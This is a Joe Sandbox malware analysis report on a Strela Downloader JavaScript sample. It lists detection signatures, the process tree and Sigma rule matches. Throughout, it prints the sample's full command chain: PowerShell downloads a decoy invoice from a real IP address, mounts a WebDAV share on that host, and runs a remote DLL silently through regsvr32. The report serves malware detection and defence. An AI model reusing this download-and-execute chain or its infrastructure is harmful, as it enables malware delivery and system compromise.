Edit tour

Windows Analysis Report
2486775641261320080.js

Overview

General Information

Sample name:	2486775641261320080.js
Analysis ID:	1587803
MD5:	0925a2b4e695a389c228a39d09faea5c
SHA1:	4de1eef87f8f077e2135cd69657e73c01af45f45
SHA256:	ecdad5f85ab00bfc6fbc0829d99cfba7367ae9492ef5b532b45d92e02b803ead
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4544 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2486775641261320080.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3848 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1900 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5432 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7236 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7440 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1684,i,14807154693622570894,10960876734372466403,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6980 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5332 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7300 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4544	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3848, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1900, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3848, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1900, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2486775641261320080.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2486775641261320080.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2486775641261320080.js", ProcessId: 4544, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2486775641261320080.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4544, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 3848, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2486775641261320080.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4544, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 3848, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2486775641261320080.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4544, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 3848, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2486775641261320080.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4544, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 3848, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2486775641261320080.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4544, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 3848, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2486775641261320080.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2486775641261320080.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2486775641261320080.js", ProcessId: 4544, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3848, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1900, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6980, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5332, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7300, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6980, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5332, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2486775641261320080.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4544, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 3848, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2486775641261320080.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2486775641261320080.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.1692805184.0000020B6E32E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1696739055.0000020B6E33E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1696786654.0000020B6E361000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1756171510.0000020525BAD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1755608156.0000020525B58000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1752602753.0000020525BAB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1755815239.0000020525B8B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1753126683.0000020525B8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1755815239.0000020525B8B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1753126683.0000020525B8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/M
Source: net.exe, 00000006.00000002.1755608156.0000020525B58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000008.00000002.2990280410.0000023C26C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1755085684.0000023C26E28000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1755085684.0000023C26E28000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1755085684.0000023C26E28000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1755085684.0000023C26E5D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4544, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2486775641261320080.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

